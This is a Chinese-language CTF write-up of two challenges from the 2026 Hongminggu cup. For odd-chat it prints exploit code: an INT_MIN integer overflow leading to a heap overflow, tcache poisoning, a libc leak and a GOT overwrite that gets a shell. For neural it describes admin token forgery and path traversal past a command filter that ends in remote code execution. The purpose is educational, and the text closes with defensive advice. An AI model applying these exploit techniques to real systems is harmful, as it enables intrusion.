2026数字中国创新大赛数字安全赛道暨 三明市第六届“红明谷”杯 pwn 2/2
字数 3049
更新时间 2026-04-02 14:34:18
2026数字中国创新大赛“红明谷”杯Pwn与Neural题目详解与利用教学
目录
- 题目概述
- 第一题:odd-chat(Pwn)详细解析
- 第二题:neural(混合题型)详细解析
- 总结与拓展思路
1. 题目概述
本次教学文档基于2026数字中国创新大赛数字安全赛道暨三明市第六届“红明谷”杯的两道题目:
- odd-chat:传统Pwn题目,考察整数溢出和堆利用
- neural:结合Web和二进制安全的混合题型,考察协议分析、权限绕过和RCE
两道题目都涉及实际场景中的安全漏洞,需要综合运用逆向工程、漏洞利用和协议分析能力。
2. 第一题:odd-chat(Pwn)详细解析
2.1 程序功能分析
odd-chat是一个聊天程序,主要功能包括:
- 用户设置名称
- 添加聊天记录
- 清理聊天记录
- 重命名用户
2.2 核心漏洞:整数溢出导致堆溢出
2.2.1 漏洞位置
在add1()函数中,存在以下关键代码:
v1 = (int)abs32(getnum()) % 24;
v2 = sub_400AD9(::chunk_p, v1);
2.2.2 漏洞原理
这是经典的32位有符号整数溢出漏洞:
- 当传入
-2147483648(INT_MIN,0x80000000)时 abs(-2147483648)的结果由于补码表示特性,仍然是-2147483648-2147483648 % 24的结果为-8- 这个负数传递给底层读取函数(接收
size_t无符号整数)时,会被转换为极大的正数0xFFFFFFFFFFFFFFF8 - 彻底绕过24字节的长度限制,导致堆溢出
2.3 利用流程拆解
阶段一:堆风水布置(Heap Layout)
chat(8, encode_for_chat(b'/bin/sh'))
chat(8, encode_for_chat(b'aaaaaaaa'))
chat(8, encode_for_chat(b'aaaaaaaa'))
clear_chat()
- 分配三个大小为8的chunk
- 调用
clear_chat()释放它们,放入tcache链表
阶段二:触发溢出与Tcache投毒
overflow = b"C" * 0x20 + encode_for_chat(p64(0)+p64(0x31)+p64(0x00000000006020F0))
chat(-2147483648, overflow)
- 使用
-2147483648触发整数溢出 - 填充32个'C'覆盖当前chunk
- 溢出到相邻空闲chunk,覆盖其header和fd指针
- 将fd指针指向
.bss段的全局变量name指针地址(0x6020F0)
阶段三:任意地址写(Arbitrary Write)
chat(8, encode_for_chat(b'/bin/sh'))
chat(8, encode_for_chat(p64(elf.got['free'])))
- 第一次申请:取出被篡改前的正常chunk
- 第二次申请:根据tcache的LIFO机制,从伪造的地址0x6020F0分配内存
- 在
.bss段写入free@GOT地址 - 结果:全局指针
name指向free函数的GOT表项
阶段四:地址泄露(Information Leak)
ru('[#11] User: ')
lb = uu64(rc(6)) - libc.symbols['free']
- 程序打印聊天记录时输出
User: %s,跟随name指针内容 - 此时
name指向free@GOT,泄露free函数在libc中的真实地址 - 计算libc基地址
阶段五:GOT表劫持与Get Shell
sla(">>", str(2))
sla('name: ', p64(lb + 0x10a2fc))
clear_chat()
- 调用
rename()函数(选项2) fgets((char *)name, 48, stdin)向free@GOT写入数据- 写入one-gadget地址(
lb + 0x10a2fc) - 调用
clear_chat()触发free(),实际执行one-gadget获取shell
2.4 魔改TEA加解密处理
题目使用了魔改的TEA加密,需要实现对应的加密解密函数:
def tea_encrypt_block(block8):
assert len(block8) == 8
v0 = u32(block8[:4])
v1 = u32(block8[4:])
acc = 0
for _ in range(TEA_ROUNDS):
v0 = (v0 + (((v1 << 4) + TEA_KEY) ^ (v1 + acc) ^ ((v1 >> 5) + TEA_KEY))) & MASK32
acc = (acc + TEA_DELTA) & MASK32
v1 = (v1 + (((v0 << 4) + TEA_KEY) ^ (v0 + acc) ^ ((v0 >> 5) + TEA_KEY))) & MASK32
return p32(v0) + p32(v1)
3. 第二题:neural(混合题型)详细解析
3.1 题目环境与架构
- 前端:Python Flask应用(app.py)
- 后端:C语言引擎,通过Unix Socket通信
- 考察点:协议分析、权限绕过、RCE
3.2 前端分析(app.py)
3.2.1 通信协议
前端与后端通过Unix Socket通信,协议格式:
[4字节长度][1字节命令码][Payload]
其中:
- 长度:小端序,包含命令码和Payload的总长度+4
- 命令码:指定操作类型
- Payload:实际数据
关键函数send_to_engine:
def send_to_engine(command, payload=b''):
total_len = 5 + len(payload)
msg = struct.pack('<I', total_len) + bytes([command]) + payload
3.2.2 未过滤的透传接口
发现/api/raw接口:
@app.route('/api/raw')
def api_raw():
# 可透传任意二进制数据到后端引擎
此接口允许将自定义构造的二进制包直接发送到后端C引擎。
3.2.3 文件上传点
/api/knowledge/upload接口允许上传任意文件到服务器,为后续投递恶意文件提供条件。
3.3 后端引擎逆向分析
3.3.1 RCE漏洞发现
在IDA分析中:
- 在PLT表中发现
system函数 - 定位到
load_ncml_model函数 - 发现当解析
.ncm模型文件时,如果遇到Type = 5的数据块:- 将数据拷贝到全局变量
p_command - 通过
validate_hook校验后 - 执行
system(&p_command)
- 将数据拷贝到全局变量
3.3.2 管理员功能
handle_admin函数处理CMD_ADMIN (0xFF)命令:
sub_cmd = 2:重新加载指定的模型文件- 结合RCE漏洞,可实现远程代码执行
3.4 权限绕过技术
3.4.1 管理员令牌验证
verify_admin_token函数(符号表未抹除):
_BOOL8 verify_admin_token(int p_g_pwn_1, char p_g_pwna_1, __int64 p_g_pwn,
unsigned int n4, const void *s2_1)
{
time_t v12 = time(0);
int n60 = v12 - p_g_pwn_1;
if ((int)v12 - p_g_pwn_1 <= 0)
n60 = p_g_pwn_1 - v12;
if (n60 > 60) // 60秒过期机制
return 0;
// SHA256哈希计算
SHA256_Init(v13);
SHA256_Update(v13, &p_g_pwn_4, 4);
SHA256_Update(v13, &p_g_pwna, 1);
if (n4 && p_g_pwn)
SHA256_Update(v13, p_g_pwn, n4);
SHA256_Update(v13, &g_pwn, 16);
SHA256_Final(s1, v13);
return memcmp(s1, s2_1, 0x20u) == 0;
}
关键点:
- 时间校验:令牌60秒内有效
- 本地可通过docker命令获取相关参数
- 远程需要爆破微调时间戳
3.4.2 路径绕过(validate_hook)
__int64 validate_hook(const char *p_command)
{
if (!strncmp(p_command, "/opt/neuralchat/plugins/", 0x18u))
{
// 检查禁止字符:;|&`$><(){}[]!#\n
for (p_command_1 = p_command; *p_command_1; ++p_command_1)
{
for (p___&_$__()__[]____n = ";|&`$><(){}[]!#\n";
*p___&_$__()__[]____n; ++p___&_$__()__[]____n)
{
if ((_BYTE)v6 == *p___&_$__()__[]____n)
return 0xFFFFFFFFLL;
}
}
return 0;
}
else
{
return 0xFFFFFFFFLL;
}
}
绕过方法:
- 要求命令以
/opt/neuralchat/plugins/开头 - 使用目录穿越:
/opt/neuralchat/plugins/../../../绕过路径限制 - 注意避开禁止字符列表
3.5 完整利用链构建
步骤1:获取管理员权限
- 通过
/api/knowledge/upload上传恶意模型文件 - 利用时间窗口爆破或本地获取令牌参数
- 构造管理员令牌,通过
verify_admin_token验证
步骤2:加载恶意模型
- 通过
handle_admin函数的sub_cmd=2加载模型 - 模型包含
Type=5的数据块,其中包含要执行的命令 - 命令需要以
/opt/neuralchat/plugins/开头,可使用路径穿越
步骤3:RCE执行
load_ncml_model解析恶意模型- 将命令数据拷贝到
p_command - 通过
validate_hook校验(已被绕过) - 执行
system(&p_command)获得RCE
3.6 利用脚本关键部分
import requests
import struct
import hashlib
import time
def calc_admin_key(pid, start_time):
MASK32 = 0xFFFFFFFF
v4 = (((73244475 * pid) & MASK32) ^
((295559667 * start_time) & MASK32)) & MASK32
g_pwn = bytearray(16)
for n15 in range(16):
# 计算g_pwn数组
pass
return g_pwn
def forge_admin_token(timestamp, command_data):
# 构造符合验证的令牌
pass
def send_rce_command(cmd):
# 构造恶意模型文件
model_data = construct_malicious_model(cmd)
# 上传模型
upload_model(model_data)
# 获取管理员权限
token = get_admin_token()
# 通过admin命令加载模型
admin_cmd = struct.pack('<BI', 0xFF, 2) + model_name.encode()
send_raw_packet(admin_cmd, token)
# 触发RCE
trigger_model_loading()
4. 总结与拓展思路
4.1 odd-chat题目要点
- 整数溢出:
abs(INT_MIN)的边界情况 - 堆布局:tcache的LIFO特性利用
- 任意地址写:通过堆溢出篡改tcache的fd指针
- 信息泄露:利用程序输出功能泄露libc地址
- GOT劫持:通过重命名功能覆盖GOT表
4.2 neural题目要点
- 协议分析:二进制协议格式解析
- 接口滥用:未过滤的透传接口利用
- 文件上传:恶意文件投递
- 权限绕过:时间令牌和路径校验绕过
- RCE链:多步骤组合利用达成代码执行
4.3 防御建议
- 输入验证:对所有输入进行严格的边界检查
- 整数安全:使用安全整数运算库
- 堆保护:启用现代堆保护机制(如FORTIFY_SOURCE)
- 权限分离:最小权限原则,避免不必要的system调用
- 路径校验:使用规范化路径,防止目录穿越
- 令牌安全:使用强随机数和合适的过期机制
4.4 学习价值
这两道题目涵盖了CTF比赛中常见的漏洞类型和利用技术:
- 传统二进制漏洞(整数溢出、堆溢出)
- 现代混合题型(Web+二进制)
- 协议分析和逆向工程
- 多步骤利用链构建
- 权限绕过和提权技术
通过深入理解这些漏洞的原理和利用方法,可以有效提升二进制安全分析和漏洞利用能力。
相似文章
相似文章